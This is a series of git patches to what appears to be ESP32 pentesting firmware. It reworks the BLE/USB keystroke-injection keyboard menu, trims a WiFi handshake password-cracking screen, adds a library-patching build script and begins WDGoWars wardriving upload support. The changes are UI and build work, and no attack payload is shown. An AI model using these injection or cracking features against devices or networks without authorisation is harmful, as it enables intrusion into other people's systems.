From d2ee2ff2704eae0ef9b3e6443572f0a89ef96aac Mon Sep 17 00:00:00 2001
From: "Mr.shadow" <104501999+Gosheto1234@users.noreply.github.com>
Date: Tue, 31 Mar 2026 21:33:39 +0300
Subject: [PATCH 25/73] Add folderExists function declaration

---
 src/core/sd_functions.h | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/src/core/sd_functions.h b/src/core/sd_functions.h
index e883049bf..ed20bb927 100644
--- a/src/core/sd_functions.h
+++ b/src/core/sd_functions.h
@@ -32,6 +32,8 @@ bool pasteFile(FS fs, String path);
 
 bool createFolder(FS fs, String path);
 
+bool folderExists(FS fs, String path);
+
 String readLineFromFile(File myFile);
 
 String readSmallFile(FS &fs, String filepath);

From 227c2f81c84489dc1dd04014ec904ca2621dd9e1 Mon Sep 17 00:00:00 2001
From: lshaf <lshaf@users.noreply.github.com>
Date: Wed, 1 Apr 2026 08:27:03 +0700
Subject: [PATCH 26/73] =?UTF-8?q?=F0=9F=AB=A1=20fix=20overloaded=20bulk=20?=
 =?UTF-8?q?upload?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .gitignore                                 | 2 ++
 embedded_resources/web_interface/index.css | 9 +++++++++
 2 files changed, 11 insertions(+)

diff --git a/.gitignore b/.gitignore
index db25b5ed3..243b5b105 100644
--- a/.gitignore
+++ b/.gitignore
@@ -19,3 +19,5 @@ docker-logs
 lib/mquickjs_headers/mqjs_stdlib_generator
 lib/mquickjs_headers/mqjs_stdlib_generator.exe
 .github/agents/Bruce-AI.agent.md
+.idea
+.ai
\ No newline at end of file
diff --git a/embedded_resources/web_interface/index.css b/embedded_resources/web_interface/index.css
index 380fbc9c4..853014a5d 100644
--- a/embedded_resources/web_interface/index.css
+++ b/embedded_resources/web_interface/index.css
@@ -410,8 +410,17 @@ svg > path {
   overflow-wrap: normal;
   overflow: auto;
 }
+.dialog.upload {
+  width: 100%;
+  max-width: 420px;
+  max-height: calc(100vh - 20px);
+  display: flex;
+  flex-direction: column;
+}
 .dialog.upload .dialog-body {
   padding: 10px;
+  overflow-y: auto;
+  max-height: calc(100vh - 60px);
 }
 .dialog.upload .upload-loading {
   width: 350px;

From 5960b93e049cf8ab1b82fdf2702bd790c54e01e5 Mon Sep 17 00:00:00 2001
From: ninja-jr-2 <ninjajr1903@gmail.com>
Date: Sat, 4 Apr 2026 06:25:41 +0200
Subject: [PATCH 27/73] BUILD] Add -include Arduino.h and patch library
 conflicts for dev builds (#2353)

* Update platformio.ini

* Update platformio.ini

* Create patch_esp8266sam.py

* Update and rename patch_esp8266sam.py to patch_library_conflicts.py and edits

* Update platformio.ini
---
 patch_library_conflicts.py | 48 ++++++++++++++++++++++++++++++++++++++
 platformio.ini             |  4 ++++
 2 files changed, 52 insertions(+)
 create mode 100644 patch_library_conflicts.py

diff --git a/patch_library_conflicts.py b/patch_library_conflicts.py
new file mode 100644
index 000000000..f3595de38
--- /dev/null
+++ b/patch_library_conflicts.py
@@ -0,0 +1,48 @@
+import os
+import re
+import glob
+
+print("Patching library conflicts with ESP32 core...")
+
+# List of conflicts: (file_pattern, search_pattern, replace_pattern)
+conflicts = [
+    (
+        ".pio/libdeps/*/ESP8266SAM/src/render.c",
+        r'static void yield\(\)',
+        'static void sam_yield()'
+    ),
+    (
+        ".pio/libdeps/*/ESP8266SAM/src/render.c",
+        r'\byield\(\);',
+        'sam_yield();'
+    ),
+    (
+        ".pio/libdeps/*/JPEGDecoder/src/picojpeg.c",
+        r'static uint8 init\(void\)',
+        'static uint8 picojpeg_init(void)'
+    ),
+    (
+        ".pio/libdeps/*/JPEGDecoder/src/picojpeg.c",
+        r'\binit\(\);',
+        'picojpeg_init();'
+    ),
+]
+
+for file_pattern, search, replace in conflicts:
+    files = glob.glob(file_pattern)
+    for file_path in files:
+        try:
+            with open(file_path, 'r') as f:
+                content = f.read()
+
+            if replace in content:
+                print(f"Already patched: {file_path}")
+                continue
+
+            new_content = re.sub(search, replace, content)
+            if new_content != content:
+                with open(file_path, 'w') as f:
+                    f.write(new_content)
+                print(f"Patched: {file_path}")
+        except Exception as e:
+            print(f"Failed to patch {file_path}: {e}")
diff --git a/platformio.ini b/platformio.ini
index 217860b30..104a44a76 100644
--- a/platformio.ini
+++ b/platformio.ini
@@ -140,6 +140,7 @@ build_flags =
 	-DCONFIG_MBEDTLS_ECDH_C=1
 	-DCONFIG_MBEDTLS_AES_C=1
 	-DCONFIG_MBEDTLS_CTR_DRBG_C=1
+	-include Arduino.h
 	; Additional mbedtls flags that could be useful:
 	;-DCONFIG_MBEDTLS_ECP_C=1
 	;-DCONFIG_MBEDTLS_SHA256_C=1
@@ -151,6 +152,7 @@ extra_scripts =
 	pre:patch.py
 	pre:pre_build_current_year.py
 	pre:gen_mqjs_headers.py
+	pre:patch_library_conflicts.py
 	post:build.py
 
 lib_deps =
@@ -223,6 +225,7 @@ build_flags =
 	-DSEND_PANASONIC=true
 	-DDECODE_PANASONIC=true
 	-DSEND_RAW=true
+	-include Arduino.h
 
 lib_deps =
 	;https://github.com/sayacom/WireGuard-ESP32-Arduino#feature/esp-netif
@@ -287,6 +290,7 @@ build_flags =
 	-DSEND_PANASONIC=true
 	-DDECODE_PANASONIC=true
 	-DSEND_RAW=true
+	-include Arduino.h
 
 lib_ignore =
 	FastLED

From 4115825e2dae53d29b77814d26d7c75dfefd6bae Mon Sep 17 00:00:00 2001
From: Krzysztof Kuczewski <92270732+Epickitrolaz@users.noreply.github.com>
Date: Sat, 4 Apr 2026 19:36:53 +0200
Subject: [PATCH 28/73] Made the keyboard more intuitive (#2352)

---
 include/globals.h                      |   5 +-
 src/core/display.cpp                   |  59 +++--
 src/modules/badusb_ble/ducky_typer.cpp | 349 ++++++++++++++++++++++---
 3 files changed, 361 insertions(+), 52 deletions(-)

diff --git a/include/globals.h b/include/globals.h
index 136252019..348ee78e2 100644
--- a/include/globals.h
+++ b/include/globals.h
@@ -104,6 +104,7 @@ struct Option {
     String label;
     std::function<void()> operation;
     bool selected = false;
+    bool enabled = true;
     bool (*hover)(void *hoverPointer, bool shouldRender);
     void *hoverPointer;
     bool hovered; // return to the remote (webui or app) if it is hovered on the loopoptions
@@ -112,9 +113,9 @@ struct Option {
         String lbl, const std::function<void()> &op, bool sel = false,
         bool (*hov)(void *hoverPointer, bool shouldRender) =
             nullptr, // hover lambda returns true if it already handled rendering
-        void *ptr = nullptr, bool hvrd = false
+        void *ptr = nullptr, bool hvrd = false, bool en = true
     )
-        : label(lbl), operation(op), selected(sel), hover(hov), hoverPointer(ptr), hovered(hvrd) {}
+        : label(lbl), operation(op), selected(sel), enabled(en), hover(hov), hoverPointer(ptr), hovered(hvrd) {}
 };
 
 struct keyStroke { // DO NOT CHANGE IT!!!!!
diff --git a/src/core/display.cpp b/src/core/display.cpp
index 341234ee9..aa4b14b23 100644
--- a/src/core/display.cpp
+++ b/src/core/display.cpp
@@ -468,6 +468,33 @@ void padprintln(double n, int digits, int16_t padx) {
 int loopOptions(
     std::vector<Option> &options, uint8_t menuType, const char *subText, int index, bool interpreter
 ) {
+    if (options.empty()) return -1;
+
+    auto findFirstEnabled = [&]() -> int {
+        for (size_t i = 0; i < options.size(); i++) {
+            if (options[i].enabled) return static_cast<int>(i);
+        }
+        return -1;
+    };
+
+    auto findNextEnabled = [&](int start, int step) -> int {
+        if (options.empty()) return -1;
+        int size = static_cast<int>(options.size());
+        int idx = start;
+        for (int i = 0; i < size; i++) {
+            idx = (idx + step + size) % size;
+            if (options[idx].enabled) return idx;
+        }
+        return -1;
+    };
+
+    if (index < 0 || index >= static_cast<int>(options.size())) index = 0;
+    if (!options[index].enabled) {
+        int firstEnabled = findFirstEnabled();
+        if (firstEnabled < 0) return -1;
+        index = firstEnabled;
+    }
+
     Opt_Coord coord;
     bool redraw = true;
     bool exit = false;
@@ -554,8 +581,8 @@ int loopOptions(
             devModeCounter = 0;
 #ifdef HAS_KEYBOARD
             check(PrevPress);
-            if (index == 0) index = options.size() - 1;
-            else if (index > 0) index--;
+            int prevEnabled = findNextEnabled(index, -1);
+            if (prevEnabled >= 0) index = prevEnabled;
             redraw = true;
 #else
             long _tmp = millis();
@@ -585,18 +612,18 @@ int loopOptions(
                 break;
             } else {
                 check(PrevPress);
-                if (index == 0) index = options.size() - 1;
-                else if (index > 0) index--;
+                int prevEnabled = findNextEnabled(index, -1);
+                if (prevEnabled >= 0) index = prevEnabled;
                 redraw = true;
             }
 #endif
         }
         /* DW Btn to next item */
         if (check(NextPress) || check(DownPress)) {
-            index++;
-            if ((index + 1) > options.size()) {
-                if (!bruceConfig.devMode) devModeCounter++;
-                index = 0;
+            int nextEnabled = findNextEnabled(index, +1);
+            if (nextEnabled >= 0) {
+                if (!bruceConfig.devMode && nextEnabled <= index) devModeCounter++;
+                index = nextEnabled;
             }
             redraw = true;
         }
@@ -616,6 +643,7 @@ int loopOptions(
                 forceMenuOption = -1; // reset SerialCommand navigation option
                 Serial.print("Forcely ");
             }
+            if (chosen >= options.size() || !options[chosen].enabled) continue;
             Serial.println("Selected: " + String(options[chosen].label));
             options[chosen].operation();
             break;
@@ -686,6 +714,7 @@ Opt_Coord drawOptions(
         if (i >= init) {
             if (options[i].selected) tft.setTextColor(selcolor, bgcolor); // if selected, change Text color
             else tft.setTextColor(fgcolor, bgcolor);
+            if (!options[i].enabled) tft.setTextColor(TFT_DARKGREY, bgcolor);
 
             String text = "";
             if (i == index) {
@@ -736,16 +765,16 @@ void drawSubmenu(int index, std::vector<Option> &options, const char *title) {
     tft.drawCentreString("/\\", tftWidth / 2, middle_up - (FM * LH + 6), 1);
 #endif
     // Previous item
-    const char *firstOption =
-        index - 1 >= 0 ? options[index - 1].label.c_str() : options[menuSize - 1].label.c_str();
-    tft.setTextColor(bruceConfig.secColor);
+    int firstIndex = index - 1 >= 0 ? index - 1 : menuSize - 1;
+    const char *firstOption = options[firstIndex].label.c_str();
+    tft.setTextColor(options[firstIndex].enabled ? bruceConfig.secColor : TFT_DARKGREY);
     tft.fillRect(6, middle_up, tftWidth - 12, 8 * FM, bruceConfig.bgColor);
     tft.drawCentreString(firstOption, tftWidth / 2, middle_up, SMOOTH_FONT);
 
     // Selected item
     int selectedTextSize = options[index].label.length() <= tftWidth / (LW * FG) - 1 ? FG : FM;
     tft.setTextSize(selectedTextSize);
-    tft.setTextColor(bruceConfig.priColor);
+    tft.setTextColor(options[index].enabled ? bruceConfig.priColor : TFT_DARKGREY);
     tft.fillRect(6, middle - FG * LH / 2 - 1, tftWidth - 12, FG * LH + 5, bruceConfig.bgColor);
     tft.drawCentreString(options[index].label, tftWidth / 2, middle - selectedTextSize * LH / 2, SMOOTH_FONT);
     tft.drawFastHLine(
@@ -755,10 +784,10 @@ void drawSubmenu(int index, std::vector<Option> &options, const char *title) {
         bruceConfig.priColor
     );
     // Next Item
-    const char *thirdOption =
-        index + 1 < menuSize ? options[index + 1].label.c_str() : options[0].label.c_str();
+    int thirdIndex = index + 1 < menuSize ? index + 1 : 0;
+    const char *thirdOption = options[thirdIndex].label.c_str();
     tft.setTextSize(FM);
-    tft.setTextColor(bruceConfig.secColor);
+    tft.setTextColor(options[thirdIndex].enabled ? bruceConfig.secColor : TFT_DARKGREY);
     tft.fillRect(6, middle_down, tftWidth - 12, 8 * FM, bruceConfig.bgColor);
     tft.drawCentreString(thirdOption, tftWidth / 2, middle_down, SMOOTH_FONT);
 
diff --git a/src/modules/badusb_ble/ducky_typer.cpp b/src/modules/badusb_ble/ducky_typer.cpp
index 240da4a47..b6f0f6f71 100644
--- a/src/modules/badusb_ble/ducky_typer.cpp
+++ b/src/modules/badusb_ble/ducky_typer.cpp
@@ -171,6 +171,232 @@ const uint8_t *keyboardLayouts[] = {
     KeyboardLayout_tr_TR  // 13
 };
 
+struct KeyboardMenuKey {
+    const char *label;
+    uint8_t key;
+};
+
+struct QueuedHIDKey {
+    uint8_t key;
+    String label;
+};
+
+static const KeyboardMenuKey modifierMenuKeys[] = {
+    {"Ctrl",        KEY_LEFT_CTRL },
+    {"Shift",       KEY_LEFT_SHIFT},
+    {"Alt",         KEY_LEFT_ALT  },
+    {"GUI",         KEY_LEFT_GUI  },
+    {"Right Ctrl",  KEY_RIGHT_CTRL},
+    {"Right Shift", KEY_RIGHT_SHIFT},
+    {"Right Alt",   KEY_RIGHT_ALT },
+    {"Right GUI",   KEY_RIGHT_GUI },
+    {"Fn",          KEYFN         },
+};
+
+static const KeyboardMenuKey navigationMenuKeys[] = {
+    {"Up Arrow",    KEY_UP_ARROW  },
+    {"Down Arrow",  KEY_DOWN_ARROW},
+    {"Left Arrow",  KEY_LEFT_ARROW},
+    {"Right Arrow", KEY_RIGHT_ARROW},
+    {"Home",        KEY_HOME      },
+    {"End",         KEY_END       },
+    {"Page Up",     KEY_PAGE_UP   },
+    {"Page Down",   KEY_PAGE_DOWN },
+    {"Insert",      KEY_INSERT    },
+    {"Delete",      KEY_DELETE    },
+};
+
+static const KeyboardMenuKey specialMenuKeys[] = {
+    {"Enter",        KEY_RETURN      },
+    {"Tab",          KEYTAB          },
+    {"Escape",       KEY_ESC         },
+    {"Backspace",    KEYBACKSPACE    },
+    {"Space",        KEY_SPACE       },
+    {"Caps Lock",    KEY_CAPS_LOCK   },
+    {"Num Lock",     KEY_NUM_LOCK    },
+    {"Scroll Lock",  KEY_SCROLL_LOCK },
+    {"Print Screen", KEY_PRINT_SCREEN},
+    {"Pause",        KEY_PAUSE       },
+    {"Menu",         KEY_MENU        },
+};
+
+static const KeyboardMenuKey functionMenuKeys[] = {
+    {"F1",  KEY_F1 },
+    {"F2",  KEY_F2 },
+    {"F3",  KEY_F3 },
+    {"F4",  KEY_F4 },
+    {"F5",  KEY_F5 },
+    {"F6",  KEY_F6 },
+    {"F7",  KEY_F7 },
+    {"F8",  KEY_F8 },
+    {"F9",  KEY_F9 },
+    {"F10", KEY_F10},
+    {"F11", KEY_F11},
+    {"F12", KEY_F12},
+    {"F13", KEY_F13},
+    {"F14", KEY_F14},
+    {"F15", KEY_F15},
+    {"F16", KEY_F16},
+    {"F17", KEY_F17},
+    {"F18", KEY_F18},
+    {"F19", KEY_F19},
+    {"F20", KEY_F20},
+    {"F21", KEY_F21},
+    {"F22", KEY_F22},
+    {"F23", KEY_F23},
+    {"F24", KEY_F24},
+};
+
+static const KeyboardMenuKey numpadMenuKeys[] = {
+    {"KP /",     KEY_KP_SLASH   },
+    {"KP *",     KEY_KP_ASTERISK},
+    {"KP -",     KEY_KP_MINUS   },
+    {"KP +",     KEY_KP_PLUS    },
+    {"KP Enter", KEY_KP_ENTER   },
+    {"KP 0",     KEY_KP_0       },
+    {"KP 1",     KEY_KP_1       },
+    {"KP 2",     KEY_KP_2       },
+    {"KP 3",     KEY_KP_3       },
+    {"KP 4",     KEY_KP_4       },
+    {"KP 5",     KEY_KP_5       },
+    {"KP 6",     KEY_KP_6       },
+    {"KP 7",     KEY_KP_7       },
+    {"KP 8",     KEY_KP_8       },
+    {"KP 9",     KEY_KP_9       },
+    {"KP .",     KEY_KP_DOT     },
+};
+
+static bool isModifierKeyForQueue(uint8_t key) {
+    switch (key) {
+        case KEY_LEFT_CTRL:
+        case KEY_LEFT_SHIFT:
+        case KEY_LEFT_ALT:
+        case KEY_LEFT_GUI:
+        case KEY_RIGHT_CTRL:
+        case KEY_RIGHT_SHIFT:
+        case KEY_RIGHT_ALT:
+        case KEY_RIGHT_GUI: return true;
+        default: return false;
+    }
+}
+
+static bool isKeyboardInputCanceled(const String &value) {
+    return value.length() == 1 && value.charAt(0) == '\x1B';
+}
+
+static bool queueContainsKey(const std::vector<QueuedHIDKey> &queuedKeys, uint8_t key) {
+    for (const auto &queuedKey : queuedKeys) {
+        if (queuedKey.key == key) return true;
+    }
+    return false;
+}
+
+static int queuedNonModifierCount(const std::vector<QueuedHIDKey> &queuedKeys) {
+    int count = 0;
+    for (const auto &queuedKey : queuedKeys) {
+        if (!isModifierKeyForQueue(queuedKey.key)) count++;
+    }
+    return count;
+}
+
+static String queueToString(const std::vector<QueuedHIDKey> &queuedKeys) {
+    String result;
+    for (size_t i = 0; i < queuedKeys.size(); i++) {
+        if (i > 0) result += "+";
+        result += queuedKeys[i].label;
+        if (result.length() > 44) {
+            result = result.substring(0, 41) + "...";
+            break;
+        }
+    }
+    return result;
+}
+
+static void sendSingleKey(HIDInterface *hid, uint8_t key) {
+    hid->press(key);
+    delay(bruceConfig.badUSBBLEKeyDelay);
+    hid->releaseAll();
+}
+
+static void queueOrSendKey(
+    HIDInterface *hid, bool queueRecording, std::vector<QueuedHIDKey> &queuedKeys, const String &keyLabel,
+    uint8_t key
+) {
+    if (!queueRecording) {
+        sendSingleKey(hid, key);
+        displayTextLine("Sent: " + keyLabel);
+        return;
+    }
+
+    if (queueContainsKey(queuedKeys, key)) {
+        displayWarning("Already queued: " + keyLabel);
+        return;
+    }
+
+    if (!isModifierKeyForQueue(key) && queuedNonModifierCount(queuedKeys) >= 6) {
+        displayWarning("Queue full: max 6 non-modifier keys");
+        return;
+    }
+
+    queuedKeys.push_back({key, keyLabel});
+    displayTextLine("Queued: " + queueToString(queuedKeys));
+}
+
+static void openKeySection(
+    HIDInterface *hid, const char *title, const KeyboardMenuKey *menuKeys, size_t keyCount,
+    bool &queueRecording, std::vector<QueuedHIDKey> &queuedKeys
+) {
+    int index = 0;
+    while (1) {
+        std::vector<Option> sectionOptions;
+        sectionOptions.reserve(keyCount + 1);
+
+        for (size_t i = 0; i < keyCount; i++) {
+            KeyboardMenuKey menuKey = menuKeys[i];
+            sectionOptions.push_back({menuKey.label, [&, menuKey]() {
+                                          queueOrSendKey(hid, queueRecording, queuedKeys, menuKey.label, menuKey.key);
+                                      }});
+        }
+
+        sectionOptions.push_back({"Back", []() {}});
+
+        int selected = loopOptions(sectionOptions, MENU_TYPE_REGULAR, title, index);
+        if (selected < 0 || selected == static_cast<int>(keyCount)) break;
+        index = selected;
+    }
+}
+
+static void keyboardSectionAction(
+    HIDInterface *hid, bool &queueRecording, std::vector<QueuedHIDKey> &queuedKeys
+) {
+    if (queueRecording) {
+        String queuedChar = keyboard("", 1, "Queue character:");
+        if (queuedChar.length() == 0 || isKeyboardInputCanceled(queuedChar)) return;
+        String label = queuedChar.substring(0, 1);
+        queueOrSendKey(hid, true, queuedKeys, label, static_cast<uint8_t>(queuedChar.charAt(0)));
+        return;
+    }
+
+    String typedText = keyboard("", 76, "Type your message:");
+    if (typedText.length() == 0 || isKeyboardInputCanceled(typedText)) return;
+
+    hid->print(typedText.c_str());
+    displayTextLine("Text sent");
+}
+
+static void sendQueuedKeys(HIDInterface *hid, bool &queueRecording, const std::vector<QueuedHIDKey> &queuedKeys) {
+    if (queuedKeys.empty()) return;
+
+    for (const auto &queuedKey : queuedKeys) {
+        hid->press(queuedKey.key);
+    }
+    delay(bruceConfig.badUSBBLEKeyDelay);
+    hid->releaseAll();
+
+    queueRecording = false;
+    displaySuccess("Sent: " + queueToString(queuedKeys));
+}
+
 void ducky_startKb(HIDInterface *&hid, bool ble) {
     Serial.printf("\nducky_startKb before hid==null: BLE: %d\n", ble);
     if (hid == nullptr) {
@@ -612,42 +838,95 @@ void ducky_keyboard(HIDInterface *&hid, bool ble) {
         }
 #else
         hid->releaseAll();
-        static int inx = 0;
-        String str = "";
-        const DuckyCommand *cmd = nullptr;
-        options = {};
-        for (auto &cmds : duckyCmds) {
-            auto &cmds_cpy = cmds;
-            if (cmds_cpy.type == DuckyCommandType_Combination || cmds_cpy.type == DuckyCommandType_Cmd) {
-                options.push_back({cmds.command, [&]() { cmd = &cmds_cpy; }});
-            }
+        static int menuIndex = 0;
+        bool exitKeyboard = false;
+        bool queueRecording = false;
+        std::vector<QueuedHIDKey> queuedKeys;
+        String menuTitle = ble ? "BLE Keyboard" : "USB Keyboard";
+
+        while (!exitKeyboard) {
+            options = {
+                {"Keyboard",      [&]() { keyboardSectionAction(hid, queueRecording, queuedKeys); }},
+                {"Modifiers",     [&]() {
+                     openKeySection(
+                         hid,
+                         "Modifier keys",
+                         modifierMenuKeys,
+                         sizeof(modifierMenuKeys) / sizeof(modifierMenuKeys[0]),
+                         queueRecording,
+                         queuedKeys
+                     );
+                 }                                                                          },
+                {"Navigation",    [&]() {
+                     openKeySection(
+                         hid,
+                         "Navigation keys",
+                         navigationMenuKeys,
+                         sizeof(navigationMenuKeys) / sizeof(navigationMenuKeys[0]),
+                         queueRecording,
+                         queuedKeys
+                     );
+                 }                                                                          },
+                {"Special keys",  [&]() {
+                     openKeySection(
+                         hid,
+                         "Special keys",
+                         specialMenuKeys,
+                         sizeof(specialMenuKeys) / sizeof(specialMenuKeys[0]),
+                         queueRecording,
+                         queuedKeys
+                     );
+                 }                                                                          },
+                {"Function keys", [&]() {
+                     openKeySection(
+                         hid,
+                         "Function keys",
+                         functionMenuKeys,
+                         sizeof(functionMenuKeys) / sizeof(functionMenuKeys[0]),
+                         queueRecording,
+                         queuedKeys
+                     );
+                 }                                                                          },
+                {"Numpad keys",   [&]() {
+                     openKeySection(
+                         hid,
+                         "Numpad keys",
+                         numpadMenuKeys,
+                         sizeof(numpadMenuKeys) / sizeof(numpadMenuKeys[0]),
+                         queueRecording,
+                         queuedKeys
+                     );
+                 }                                                                          },
+            };
+
+            String startQueueLabel = queueRecording ? "Start Queue [ON]" : "Start Queue";
+            options.push_back({startQueueLabel, [&]() {
+                                   queuedKeys.clear();
+                                   queueRecording = true;
+                                   displayInfo("Queue capture started");
+                               }});
+
+            String sendQueueLabel = "Send Queue";
+            if (!queuedKeys.empty()) sendQueueLabel += " (" + String(queuedKeys.size()) + ")";
+            options.push_back({sendQueueLabel, [&]() { sendQueuedKeys(hid, queueRecording, queuedKeys); }});
+            options.back().enabled = !queuedKeys.empty();
+
+            options.push_back({"Reset Queue", [&]() {
+                                   queuedKeys.clear();
+                                   queueRecording = false;
+                                   displayWarning("Queue cleared");
+                               }});
+            options.back().enabled = !queuedKeys.empty();
+
+            options.push_back({"Exit Keyboard", [&]() { exitKeyboard = true; }});
+
+            menuIndex = loopOptions(options, MENU_TYPE_REGULAR, menuTitle.c_str(), menuIndex);
+
+            if (menuIndex < 0) exitKeyboard = true;
+            options.clear();
         }
-        addOptionToMainMenu();
-        inx = loopOptions(options, inx);
-        options.clear();
-        if (returnToMenu || cmd == nullptr) break;
-        if (cmd->type == DuckyCommandType_Print) {
-            str = keyboard("", 76, "Type your message:");
-            if (str.length() > 0) {
-                hid->print(str.c_str());
-                if (strcmp(cmd->command, "STRINGLN") == 0) hid->println();
-            }
-        } else if (cmd->type == DuckyCommandType_Cmd) {
-            str = keyboard("", 1, "Type a character:");
-            hid->press(cmd->key);
-            if (str.length() > 0) { hid->press(str.c_str()[0]); }
-        } else if (cmd->type == DuckyCommandType_Combination) {
-            for (auto comb : duckyComb) {
-                if (strcmp(cmd->command, comb.command) == 0) {
-                    str = keyboard("", 1, "Type a character:");
-                    hid->press(comb.key1);
-                    hid->press(comb.key2);
-                    if (comb.key3 != 0) hid->press(comb.key3);
-                    if (str.length() > 0) { hid->press(str.c_str()[0]); }
-                }
-            }
-        }
-        hid->releaseAll();
+
+        break;
 #endif
     }
 EXIT:

From 7d736d39c5a2f089e8734309858254b0009d1844 Mon Sep 17 00:00:00 2001
From: Matthias Pfefferle <pfefferle@users.noreply.github.com>
Date: Sat, 4 Apr 2026 19:53:02 +0200
Subject: [PATCH 29/73] fix(ui): auto-scale title font and fix wifi recover
 layout on small screens (#2318)

Closes #2172

- printTitle now scales down from FM to FP when the title text
  overflows the screen width, benefiting all screens globally
- Remove redundant empty lines in wifi_recover that pushed content
  off-screen on small displays (e.g. M5StickC Plus 2)
- Remove unused total_time/seconds variables and commented-out code
---
 src/core/display.cpp              | 12 +++++++++---
 src/modules/wifi/wifi_recover.cpp | 11 -----------
 2 files changed, 9 insertions(+), 14 deletions(-)

diff --git a/src/core/display.cpp b/src/core/display.cpp
index aa4b14b23..f3c92c7e1 100644
--- a/src/core/display.cpp
+++ b/src/core/display.cpp
@@ -880,11 +880,17 @@ void drawMainBorderWithTitle(String title, bool clear) {
 }
 
 void printTitle(String title) {
-    tft.setCursor((tftWidth - (title.length() * FM * LW)) / 2, BORDER_PAD_Y);
+    title.toUpperCase();
     tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-    tft.setTextSize(FM);
 
-    title.toUpperCase();
+    // Scale down title font if it doesn't fit the screen width
+    int titleSize = FM;
+    while (titleSize > FP && (int)(title.length() * titleSize * LW) > tftWidth - 2 * BORDER_PAD_X) {
+        titleSize--;
+    }
+
+    tft.setTextSize(titleSize);
+    tft.setCursor((tftWidth - (title.length() * titleSize * LW)) / 2, BORDER_PAD_Y);
     tft.println(title);
 
     tft.setTextSize(FP);
diff --git a/src/modules/wifi/wifi_recover.cpp b/src/modules/wifi/wifi_recover.cpp
index d34828c46..b259152f1 100644
--- a/src/modules/wifi/wifi_recover.cpp
+++ b/src/modules/wifi/wifi_recover.cpp
@@ -962,7 +962,6 @@ void wifi_crack_handshake(const String &wordlist_path, const String &pcap_path)
         hs.ap_mac[4],
         hs.ap_mac[5]
     );
-    padprintln("");
 
     if (hs.ssid[0] == '\0') {
         padprintln("SSID not found in PCAP");
@@ -977,7 +976,6 @@ void wifi_crack_handshake(const String &wordlist_path, const String &pcap_path)
         drawMainBorderWithTitle("WiFi Password Recover", true);
         padprintln("");
         padprintf("SSID: %s\n", hs.ssid);
-        padprintln("");
     }
 
     File wf = fs->open(wordlist_path, FILE_READ);
@@ -1083,15 +1081,6 @@ void wifi_crack_handshake(const String &wordlist_path, const String &pcap_path)
     reader.deinit();
     wf.close();
 
-    uint64_t total_time = now_us() - start_time;
-    double seconds = total_time / 1000000.0;
-
-    padprintln("");
-    padprintln("");
-    // padprintf("Tested: %u passwords\n", (uint32_t)shared.attempts);
-    // padprintf("Time: %.1f sec (%.1f/sec)\n", seconds, shared.attempts / (seconds > 0 ? seconds : 1.0));
-    padprintln("");
-
     if (shared.found) {
         resetTftDisplay();
         drawMainBorderWithTitle("WiFi Password Cracker", true);

From 8f41d9d8bc42f617aa0eca17bad16b41ef65a1e3 Mon Sep 17 00:00:00 2001
From: Pirata <104320209+bmorcelli@users.noreply.github.com>
Date: Sat, 4 Apr 2026 23:41:47 -0300
Subject: [PATCH 30/73] fix NimBLE version to 2.5

---
 platformio.ini | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/platformio.ini b/platformio.ini
index 15cfb44f3..cd26b93ce 100644
--- a/platformio.ini
+++ b/platformio.ini
@@ -180,7 +180,7 @@ lib_deps =
 	earlephilhower/ESP8266SAM@^1.1.0
 	mikalhart/TinyGPSPlus
 	tinyu-zhao/FFT@^0.0.1
-	h2zero/NimBLE-Arduino@^2.3.9
+	h2zero/NimBLE-Arduino@2.5
 	nrf24/RF24 @ 1.4.11
 	Adafruit Si4713 Library@1.2.3
 	Bodmer/JPEGDecoder
@@ -250,7 +250,7 @@ lib_deps =
 	;earlephilhower/ESP8266SAM@^1.1.0
 	mikalhart/TinyGPSPlus@1.1.0
 	tinyu-zhao/FFT@0.0.1
-	h2zero/NimBLE-Arduino@2.3.7
+	h2zero/NimBLE-Arduino@2.5
 	nrf24/RF24 @ 1.4.11
 	;Adafruit Si4713 Library@1.2.3
 	Bodmer/JPEGDecoder

From 467a49adbea1f1770319bb329db205c523feeacd Mon Sep 17 00:00:00 2001
From: LOCOSP <gitlab@locosp.org>
Date: Thu, 9 Apr 2026 02:36:34 +0200
Subject: [PATCH 31/73] feat: add WDGoWars upload support for wardriving CSV
 files

Add WDGoWars (wdgwars.pl) as an alternative upload target alongside
existing Wigle integration. Uses the /api/upload-csv endpoint with
X-API-Key authentication and multipart CSV upload.

New files: wdgwars.h/cpp, config field wdgwarsApiKey, menu options
"WDG Upload" / "WDG Up All" in file browser for CSV files.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
---
 src/core/config.cpp                           |  12 ++
 src/core/config.h                             |   2 +
 src/core/sd_functions.cpp                     |  11 ++
 .../serial_commands/settings_commands.cpp     |   1 +
 src/modules/gps/wdgwars.cpp                   | 180 ++++++++++++++++++
 src/modules/gps/wdgwars.h                     |  31 +++
 6 files changed, 237 insertions(+)
 create mode 100644 src/modules/gps/wdgwars.cpp
 create mode 100644 src/modules/gps/wdgwars.h

diff --git a/src/core/config.cpp b/src/core/config.cpp
index a275e583d..40453d10f 100644
--- a/src/core/config.cpp
+++ b/src/core/config.cpp
@@ -62,6 +62,7 @@ JsonDocument BruceConfig::toJson() const {
     setting["startupApp"] = startupApp;
     setting["startupAppJSInterpreterFile"] = startupAppJSInterpreterFile;
     setting["wigleBasicToken"] = wigleBasicToken;
+    setting["wdgwarsApiKey"] = wdgwarsApiKey;
     setting["devMode"] = devMode;
     setting["colorInverted"] = colorInverted;
 
@@ -353,6 +354,12 @@ void BruceConfig::fromFile(bool checkFS) {
         count++;
         log_e("Fail");
     }
+    if (!setting["wdgwarsApiKey"].isNull()) {
+        wdgwarsApiKey = setting["wdgwarsApiKey"].as<String>();
+    } else {
+        count++;
+        log_e("Fail");
+    }
     if (!setting["devMode"].isNull()) {
         devMode = setting["devMode"].as<int>();
     } else {
@@ -723,6 +730,11 @@ void BruceConfig::setWigleBasicToken(String value) {
     saveFile();
 }
 
+void BruceConfig::setWdgwarsApiKey(String value) {
+    wdgwarsApiKey = value;
+    saveFile();
+}
+
 void BruceConfig::setDevMode(int value) {
     devMode = value;
     validateDevModeValue();
diff --git a/src/core/config.h b/src/core/config.h
index 1aeea72ce..95b5bd2a6 100644
--- a/src/core/config.h
+++ b/src/core/config.h
